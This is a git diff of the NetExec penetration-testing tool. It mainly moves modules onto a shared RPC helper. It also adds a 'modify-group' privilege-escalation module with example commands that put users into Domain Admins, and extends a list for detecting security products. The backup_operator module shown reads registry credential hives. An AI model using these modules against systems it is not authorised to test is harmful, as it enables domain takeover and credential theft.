diff --git a/.github/workflows/pr-template-check.yml b/.github/workflows/pr-template-check.yml
index 3bff16fb..4e20ad7d 100644
--- a/.github/workflows/pr-template-check.yml
+++ b/.github/workflows/pr-template-check.yml
@@ -1,7 +1,7 @@
name: PR Template Check
on:
- pull_request:
+ pull_request_target:
types: [opened, edited]
permissions:
diff --git a/AI_POLICY.md b/AI_POLICY.md
index dd9997aa..5018df8e 100644
--- a/AI_POLICY.md
+++ b/AI_POLICY.md
@@ -21,12 +21,13 @@ The NetExec project has strict rules for AI usage:
code for platforms or environments you don't have access to manually
test on.
-- **Issues and discussions can use AI assistance but must have a full
- human-in-the-loop.** This means that any content generated with AI
- must have been reviewed _and edited_ by a human before submission.
- AI is very good at being overly verbose and including noise that
- distracts from the main point. Humans must do their research and
- trim this down.
+- **Issues and pull requests should be written by humans.**
+ Communication should remain human, not AI, and should be clear and concise.
+ AI is very good at being overly verbose and including noise that distracts
+ from the main point. While it is fine to cite AI or include AI-generated
+ content, the main content of your issue or pull request should be written
+ by a human. Issues or pull requests that look like they are just the
+ result of an AI prompt will likely be rejected and closed.
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
Text and code are the only acceptable AI-generated content, per the
diff --git a/README.md b/README.md
index 9f307e6d..2b754c74 100755
--- a/README.md
+++ b/README.md
@@ -65,3 +65,4 @@ Awesome code contributors of NetExec:
[](https://github.com/XiaoliChan)
[](https://github.com/termanix)
[](https://github.com/Dfte)
+[](https://github.com/azoxlpf)
diff --git a/netexec.spec b/netexec.spec
index 7a59877c..8bec3cdf 100644
--- a/netexec.spec
+++ b/netexec.spec
@@ -19,6 +19,7 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
+ 'certihound',
'certipy.commands.find',
'certipy.lib.formatting',
'certipy.lib.target',
diff --git a/nxc/connection.py b/nxc/connection.py
index 7c47a5aa..f20d05dd 100755
--- a/nxc/connection.py
+++ b/nxc/connection.py
@@ -139,6 +139,7 @@ class connection:
self.conn = None
self.output_file_template = None
self.output_filename = None
+ self.protocol = args.protocol
# Authentication info
self.password = ""
@@ -254,13 +255,12 @@ class connection:
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
- if hasattr(self.args, "module") and self.args.module:
+ self.logger.debug("Calling command arguments")
+ self.call_cmd_args()
+ if self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
- else:
- self.logger.debug("Calling command arguments")
- self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py
index 7f2d7a5f..dd9dbe87 100755
--- a/nxc/helpers/misc.py
+++ b/nxc/helpers/misc.py
@@ -226,6 +226,18 @@ def convert(low, high, lockout=False):
return time
+def parse_argument(argument: list) -> list:
+ """Parse input from an argparse argument, which can be either a value or a file containing values."""
+ parsed_items = []
+ for item in argument:
+ if os.path.isfile(item):
+ with open(item) as f:
+ parsed_items.extend(line.strip() for line in f if line.strip())
+ else:
+ parsed_items.append(item.strip())
+ return parsed_items
+
+
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
diff --git a/nxc/helpers/rpc.py b/nxc/helpers/rpc.py
new file mode 100644
index 00000000..04a938a9
--- /dev/null
+++ b/nxc/helpers/rpc.py
@@ -0,0 +1,101 @@
+import contextlib
+
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+
+
+class NXCRPCConnection:
+ """
+ DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
+ logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
+ """
+ def __init__(self, connection, force_tcp=False):
+ self.connection = connection
+ self.force_tcp = force_tcp
+ self.dce = None
+ self.rpc_transport = None
+
+ def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
+ if string_binding is not None:
+ self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
+ elif self.force_tcp:
+ self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
+ else:
+ self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
+
+ self.dce = self.rpc_transport.get_dce_rpc()
+
+ if self.connection.kerberos and not anonymous_rpc:
+ self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+
+ self.dce.connect()
+
+ if auth_level is not None:
+ self.dce.set_auth_level(auth_level)
+
+ self.dce.bind(interface_uuid)
+ return self.dce
+
+ def disconnect(self):
+ if self.dce:
+ with contextlib.suppress(Exception):
+ self.dce.disconnect()
+ self.dce = None
+
+ @property
+ def transport(self):
+ return self.rpc_transport
+
+ def get_smb_connection(self):
+ if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
+ return self.rpc_transport.get_smb_connection()
+ return None
+
+ def __enter__(self):
+ return self
+
+ def __exit__(self, exc_type, exc_val, exc_tb):
+ self.disconnect()
+ return False
+
+ def setup_credentials(self, rpc_transport, anonymous_rpc=False):
+ conn = self.connection
+ if anonymous_rpc:
+ rpc_transport.set_credentials("", "", "", "", "", "")
+ rpc_transport.set_kerberos(False, None)
+ else:
+ rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
+ if conn.kerberos:
+ rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
+
+ def create_smb_transport(self, named_pipe, target_ip=None):
+ conn = self.connection
+
+ # Create a new SMB conn if we don't have one already or
+ # if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
+ if conn.conn is not None and (target_ip is None or conn.host == target_ip):
+ return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
+ rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
+ if target_ip or conn.host:
+ rpc_transport.setRemoteHost(target_ip or conn.host)
+ return rpc_transport
+
+ def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
+ conn = self.connection
+ target = target_ip or conn.remoteName
+
+ rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
+ rpc_transport.setRemoteHost(target)
+ self.setup_credentials(rpc_transport, anonymous_rpc)
+ return rpc_transport
+
+ def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
+ rpc_transport = transport.DCERPCTransportFactory(string_binding)
+
+ if target_ip is not None:
+ rpc_transport.setRemoteHost(target_ip)
+ elif set_remote_host is not None:
+ rpc_transport.setRemoteHost(set_remote_host)
+
+ self.setup_credentials(rpc_transport, anonymous_rpc)
+ return rpc_transport
diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py
index 53a77ede..0e7055f3 100644
--- a/nxc/modules/add-computer.py
+++ b/nxc/modules/add-computer.py
@@ -1,8 +1,9 @@
import sys
-from impacket.dcerpc.v5 import samr, transport
+from impacket.dcerpc.v5 import samr
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -16,14 +17,14 @@ class NXCModule:
"""
name = "add-computer"
- description = "Adds or deletes a domain computer via SAMR (SMB) or LDAPS"
+ description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
add-computer: Adds, deletes, or changes the password of a domain computer account.
- Uses SAMR when invoked with nxc smb, LDAPS when invoked with nxc ldap.
+ Uses SAMR when invoked with nxc smb.
NAME Computer name (required). Trailing '$' is added automatically.
PASSWORD Computer password (required for add/changepw).
@@ -80,19 +81,14 @@ class NXCModule:
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
def _do_samr(self):
- conn = self.connection
- rpc_transport = transport.SMBTransport(conn.conn.getRemoteHost(), 445, r"\samr", smb_connection=conn.conn)
-
try:
- dce = rpc_transport.get_dce_rpc()
- dce.connect()
- dce.bind(samr.MSRPC_UUID_SAMR)
+ dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR: {e}")
return
try:
- self._samr_execute(dce, conn.conn.getRemoteName())
+ self._samr_execute(dce, self.connection.conn.getRemoteName())
finally:
dce.disconnect()
@@ -191,7 +187,7 @@ class NXCModule:
request["Name"] = self.computer_name
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
- return dce.request(request)
+ return dce.request(request)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_USER_EXISTS" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py
index c6336ed0..5c27b9e1 100644
--- a/nxc/modules/backup_operator.py
+++ b/nxc/modules/backup_operator.py
@@ -3,9 +3,9 @@ from time import sleep
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
-from impacket.dcerpc.v5 import transport, rrp
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket.dcerpc.v5 import rrp
from nxc.helpers.misc import CATEGORY, gen_random_string
+from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -31,17 +31,9 @@ class NXCModule:
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
connection.trigger_winreg()
- rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
- rpc.set_smb_connection(connection.conn)
- if connection.kerberos:
- rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
- dce = rpc.get_dce_rpc()
- if connection.kerberos:
- dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+ dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
try:
- dce.connect()
- dce.bind(rrp.MSRPC_UUID_RRP)
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
diff --git a/nxc/modules/change-password.py b/nxc/modules/change-password.py
index 20158e00..4dbe74b3 100644
--- a/nxc/modules/change-password.py
+++ b/nxc/modules/change-password.py
@@ -1,7 +1,8 @@
import sys
-from impacket.dcerpc.v5 import samr, epm, transport
+from impacket.dcerpc.v5 import samr, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -45,31 +46,21 @@ class NXCModule:
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
- # Map to the SAMR endpoint on the target
- string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
- rpctransport = transport.DCERPCTransportFactory(string_binding)
- rpctransport.setRemoteHost(connection.host)
-
if anonymous:
- rpctransport.set_credentials("", "", "", "", "", "")
- rpctransport.set_kerberos(False, None)
+ string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
+ dce = NXCRPCConnection(connection).connect(
+ None,
+ samr.MSRPC_UUID_SAMR,
+ string_binding=string_binding,
+ set_remote_host=connection.host,
+ anonymous_rpc=True,
+ )
context.log.info("Connecting with null session credentials.")
else:
- rpctransport.set_credentials(
- connection.username,
- connection.password,
- connection.domain,
- connection.lmhash,
- connection.nthash,
- aesKey=connection.aesKey,
- )
+ dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
- # Connect to the DCE/RPC endpoint and bind to the SAMR service
- dce = rpctransport.get_dce_rpc()
- dce.connect()
context.log.info("[+] Successfully connected to DCE/RPC")
- dce.bind(samr.MSRPC_UUID_SAMR)
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py
index 07fd5e4b..21343e2d 100644
--- a/nxc/modules/enum_av.py
+++ b/nxc/modules/enum_av.py
@@ -3,11 +3,11 @@
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
-from impacket.dcerpc.v5 import lsat, lsad, transport
+from impacket.dcerpc.v5 import lsat, lsad
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -45,20 +45,8 @@ class NXCModule:
results = {}
try:
- lsa = LsaLookupNames(
- domain=connection.domain,
- username=connection.username,
- password=connection.password,
- remote_name=target,
- do_kerberos=connection.kerberos,
- remoteHost=connection.host,
- kdcHost=connection.kdcHost,
- lmhash=connection.lmhash,
- nthash=connection.nthash,
- aesKey=connection.aesKey
- )
-
- dce, _ = lsa.connect()
+ lsa = LsaLookupNames(connection=connection)
+ dce = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
@@ -103,82 +91,11 @@ class NXCModule:
class LsaLookupNames:
- timeout = None
- authn_level = None
- protocol = None
- transfer_syntax = None
- machine_account = False
+ def __init__(self, connection=None):
+ self.connection = connection
- iface_uuid = lsat.MSRPC_UUID_LSAT
- authn = True
-
- def __init__(
- self,
- domain="",
- username="",
- password="",
- remote_name="",
- do_kerberos=False,
- remoteHost="",
- kdcHost="",
- lmhash="",
- nthash="",
- aesKey="",
- ):
- self.domain = domain
- self.username = username
- self.password = password
- self.remoteName = remote_name
- self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
- self.doKerberos = do_kerberos
- self.lmhash = lmhash
- self.nthash = nthash
- self.aesKey = aesKey
- self.kdcHost = kdcHost
- self.remoteHost = remoteHost
-
- def connect(self, string_binding=None, iface_uuid=None):
- """Obtains a RPC Transport and a DCE interface according to the bindings and
- transfer syntax specified.
- :return: tuple of DCE/RPC and RPC Transport objects
- :rtype: (DCERPC_v5, DCERPCTransport)
- """
- string_binding = string_binding or self.string_binding
- if not string_binding:
- raise NotImplementedError("String binding must be defined")
-
- rpc_transport = transport.DCERPCTransportFactory(string_binding)
- rpc_transport.setRemoteHost(self.remoteHost)
-
- # Set timeout if defined
- if self.timeout:
- rpc_transport.set_connect_timeout(self.timeout)
-
- # Authenticate if specified
- if self.authn and hasattr(rpc_transport, "set_credentials"):
- # This method exists only for selected protocol sequences.
- rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
-
- if self.doKerberos:
- rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
-
- # Gets the DCE RPC object
- dce = rpc_transport.get_dce_rpc()
-
- if self.doKerberos:
- dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
-
- # Connect
- dce.connect()
-
- # Bind if specified
- iface_uuid = iface_uuid or self.iface_uuid
- if iface_uuid and self.transfer_syntax:
- dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
- elif iface_uuid:
- dce.bind(iface_uuid)
-
- return dce, rpc_transport
+ def connect(self):
+ return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
def open_policy(self, dce):
request = lsad.LsarOpenPolicy2()
@@ -287,6 +204,13 @@ conf = {
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
+ {
+ "name": "Cynet",
+ "services": [
+ {"name": "CynetLauncher", "description": "CynetLauncher"}
+ ],
+ "pipes": []
+ },
{
"name": "Elastic EDR",
"services": [
@@ -500,6 +424,13 @@ conf = {
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
},
+ {
+ "name": "Wazuh",
+ "services": [
+ {"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
+ ],
+ "pipes": []
+ },
{
"name": "Windows Defender",
"services": [
diff --git a/nxc/modules/enum_ca.py b/nxc/modules/enum_ca.py
index 501c6ac5..34f41347 100644
--- a/nxc/modules/enum_ca.py
+++ b/nxc/modules/enum_ca.py
@@ -7,6 +7,8 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
+import contextlib
class NXCModule:
@@ -68,8 +70,18 @@ class NXCModule:
else:
rpctransport.setRemoteHost(connection.host)
+ dce = None
try:
- entries = self.__fetchList(connection.kerberos, rpctransport)
+ if int(self.__port) == 135:
+ rpc = NXCRPCConnection(connection, force_tcp=True)
+ rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
+ dce = rpc.rpc_transport.get_dce_rpc()
+ if connection.kerberos:
+ dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+ dce.connect()
+ entries = list(epm.hept_lookup(None, dce=dce))
+ else:
+ entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -81,6 +93,9 @@ class NXCModule:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
+ finally:
+ with contextlib.suppress(Exception):
+ dce.disconnect()
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py
index 9c705654..7346f8e1 100644
--- a/nxc/modules/enum_cve.py
+++ b/nxc/modules/enum_cve.py
@@ -1,7 +1,8 @@
-from impacket.dcerpc.v5 import transport, rrp
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, DCERPCException
+from impacket.dcerpc.v5 import rrp
+from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError
from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
from impacket.nmb import NetBIOSError
@@ -32,6 +33,7 @@ class NXCModule:
- CVE-2025-58726 (Ghost SPN)
- CVE-2025-54918 (NTLM MIC Bypass)
- CVE-2025-53779 (BadSuccessor)
+ - CVE-2024-49019 (EKUwu / ESC15)
CVE Filter for specific CVE number (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
@@ -54,19 +56,9 @@ class NXCModule:
def on_login(self, context, connection):
connection.trigger_winreg()
- # Connect to RemoteRegistry to read UBR from registry
- rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
- rpc.set_smb_connection(connection.conn)
- if connection.kerberos:
- rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
- dce = rpc.get_dce_rpc()
- if connection.kerberos:
- dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
-
- # Query the UBR
try:
- dce.connect()
- dce.bind(rrp.MSRPC_UUID_RRP)
+ # Connect to RemoteRegistry to read UBR from registry
+ dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
@@ -112,10 +104,6 @@ class NXCModule:
"CVE-2025-33073": {
"alias": "NTLM reflection",
"patches": {
- (6, 0, 6003): 23351, # Windows Server 2008 SP2
- (6, 1, 7601): 27769, # Windows Server 2008 R2 SP1
- (6, 2, 9200): 25522, # Windows Server 2012
- (6, 3, 9600): 22620, # Windows Server 2012 R2
(10, 0, 10240): 21034, # Windows 10 1507
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
@@ -183,5 +171,22 @@ class NXCModule:
},
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
- }
+ },
+ # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
+ "CVE-2024-49019": {
+ "alias": "ESC15 / EKUwu",
+ "patches": {
+ (6, 0, 6003): 22966, # Windows Server 2008 SP2
+ (6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
+ (6, 2, 9200): 25165, # Windows Server 2012
+ (6, 3, 9600): 22267, # Windows Server 2012 R2
+ (10, 0, 14393): 7515, # Windows Server 2016
+ (10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
+ (10, 0, 20348): 2849, # Windows Server 2022
+ (10, 0, 25398): 1251, # Windows Server 2022 23H2
+ (10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
+ },
+ "message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
+ "exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
+ },
}
diff --git a/nxc/modules/eventlog_creds.py b/nxc/modules/eventlog_creds.py
index 063aee90..63a07855 100644
--- a/nxc/modules/eventlog_creds.py
+++ b/nxc/modules/eventlog_creds.py
@@ -1,9 +1,10 @@
import re
-from impacket.dcerpc.v5 import transport, even6
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from impacket.dcerpc.v5 import even6
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -110,18 +111,7 @@ class NXCModule:
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
- msevenclass.connect(
- username=connection.username,
- password=connection.password,
- domain=connection.domain,
- lmhash=connection.lmhash,
- nthash=connection.nthash,
- target=target,
- doKerberos=connection.kerberos,
- dcHost=connection.kdcHost,
- aesKey=connection.aesKey,
- pipe="eventlog"
- )
+ msevenclass.connect(connection, target)
for record in msevenclass.query("\x00", '\x00', self.limit):
if record is None:
continue
@@ -142,37 +132,21 @@ class MSEven6Trigger:
self.context = context
self.dce = None
- def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
- rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
- if hasattr(rpctransport, "set_credentials"):
- rpctransport.set_credentials(
- username=username,
- password=password,
- domain=domain,
- lmhash=lmhash,
- nthash=nthash,
- aesKey=aesKey,
- )
- if doKerberos:
- rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
- rpctransport.setRemoteHost(target)
- self.dce = rpctransport.get_dce_rpc()
- if doKerberos:
- self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
- self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+ def connect(self, connection, target):
+ binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
self.context.log.debug(f"Connecting to {target}...")
try:
- self.dce.connect()
- except Exception as e:
- self.context.log.debug(f"Something went wrong, check error status => {e!s}")
- return
- try:
- self.dce.bind(even6.MSRPC_UUID_EVEN6)
+ self.dce = NXCRPCConnection(connection).connect(
+ None,
+ even6.MSRPC_UUID_EVEN6,
+ target_ip=target,
+ string_binding=binding,
+ auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
+ )
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
- self.context.log.debug("[+] Successfully bound!")
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
diff --git a/nxc/modules/ioxidresolver.py b/nxc/modules/ioxidresolver.py
index daf27ea6..43a61735 100644
--- a/nxc/modules/ioxidresolver.py
+++ b/nxc/modules/ioxidresolver.py
@@ -4,10 +4,10 @@
# updated by @NeffIsBack
from ipaddress import ip_address
-from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
-from impacket.dcerpc.v5.dcomrt import IObjectExporter
+from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -22,12 +22,13 @@ class NXCModule:
def on_login(self, context, connection):
try:
- rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
- rpctransport.setRemoteHost(connection.host)
-
- portmap = rpctransport.get_dce_rpc()
- portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
- portmap.connect()
+ portmap = NXCRPCConnection(connection, force_tcp=True).connect(
+ None,
+ IID_IObjectExporter,
+ target_ip=connection.host,
+ auth_level=RPC_C_AUTHN_LEVEL_NONE,
+ anonymous_rpc=True,
+ )
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
diff --git a/nxc/modules/modify-group.py b/nxc/modules/modify-group.py
new file mode 100644
index 00000000..447d758e
--- /dev/null
+++ b/nxc/modules/modify-group.py
@@ -0,0 +1,168 @@
+import contextlib
+import sys
+from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
+from impacket.dcerpc.v5 import samr
+from nxc.helpers.rpc import NXCRPCConnection
+from nxc.parsers.ldap_results import parse_result_attributes
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+ """
+ Module for adding/removing users to/from groups
+ Module by @termanix
+ """
+
+ name = "modify-group"
+ description = "Modify the group membership of users and computers"
+ supported_protocols = ["smb", "ldap"]
+ category = CATEGORY.PRIVILEGE_ESCALATION
+
+ def options(self, context, module_options):
+ """
+ Required (at least one of):
+ GROUP Name of the group to add/remove the user to/from
+ USER Username of the account to modify
+
+ Optional:
+ REMOVE Set to 'True' to remove the user from the specified group instead of adding (default: False)
+
+ Examples
+ --------
+ Adding a user to a group:
+ netexec smb -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins'
+ netexec ldap -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins'
+
+ Removing a user from a group:
+ netexec smb -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins' REMOVE=True
+ netexec ldap -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins' REMOVE=True
+
+ SMB/SAMR KNOWN LIMITATIONS:
+ - SAMR only supports modification of Global security groups.
+ Domain Local and Universal groups require the LDAP protocol.
+ - Cross-domain groups (e.g. Enterprise Admins) cannot be modified via SAMR.
+ Use LDAP instead.
+
+ """
+ self.group = module_options.get("GROUP")
+ self.target_user = module_options.get("USER")
+ self.remove = module_options.get("REMOVE", "False").lower() == "true"
+
+ if not (self.target_user and self.group):
+ context.log.fail("USER and GROUP parameters are required!")
+ sys.exit(1)
+
+ def on_login(self, context, connection):
+ self.context = context
+ self.connection = connection
+
+ if context.protocol == "smb":
+ self._modify_group_smb()
+ elif context.protocol == "ldap" and self.group:
+ self._modify_group_ldap()
+
+ def _modify_group_smb(self):
+ """Modify group membership using SMB/SAMR protocol"""
+ dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
+ if not dce:
+ return
+
+ # Get domain handle
+ try:
+ server_handle = samr.hSamrConnect(dce, self.connection.host + "\x00")["ServerHandle"]
+ domain_sid = samr.hSamrLookupDomainInSamServer(dce, server_handle, self.connection.domain)["DomainId"]
+ domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)["DomainHandle"]
+ except Exception as e:
+ self.context.log.fail(f"Failed to connect to SAMR service: {e}")
+ return
+
+ # Find the user RID
+ try:
+ user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.target_user,))["RelativeIds"]["Element"][0]
+ except Exception as e:
+ if "STATUS_NONE_MAPPED" in str(e):
+ self.context.log.fail(f"Target user not found: {self.target_user}")
+ else:
+ self.context.log.fail(f"Failed to find user RID: {e}")
+ return
+
+ # Find the group RID and open the group
+ try:
+ group_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.group,))["RelativeIds"]["Element"][0]
+ group_handle = samr.hSamrOpenGroup(dce, domain_handle, groupId=group_rid)["GroupHandle"]
+ except Exception as e:
+ if "STATUS_NONE_MAPPED" in str(e):
+ self.context.log.fail(f"Target group not found: {self.group}")
+ else:
+ self.context.log.fail(f"Failed to find group: {e}")
+ return
+
+ # Modify group membership
+ if self.remove:
+ try:
+ samr.hSamrRemoveMemberFromGroup(dce, group_handle, user_rid)
+ self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
+ except Exception as e:
+ if "STATUS_MEMBER_NOT_IN_GROUP" in str(e):
+ self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
+ else:
+ self.context.log.fail(f"Failed to remove user from group via SMB: {e}")
+ else:
+ try:
+ samr.hSamrAddMemberToGroup(dce, group_handle, user_rid, 0x7)
+ self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
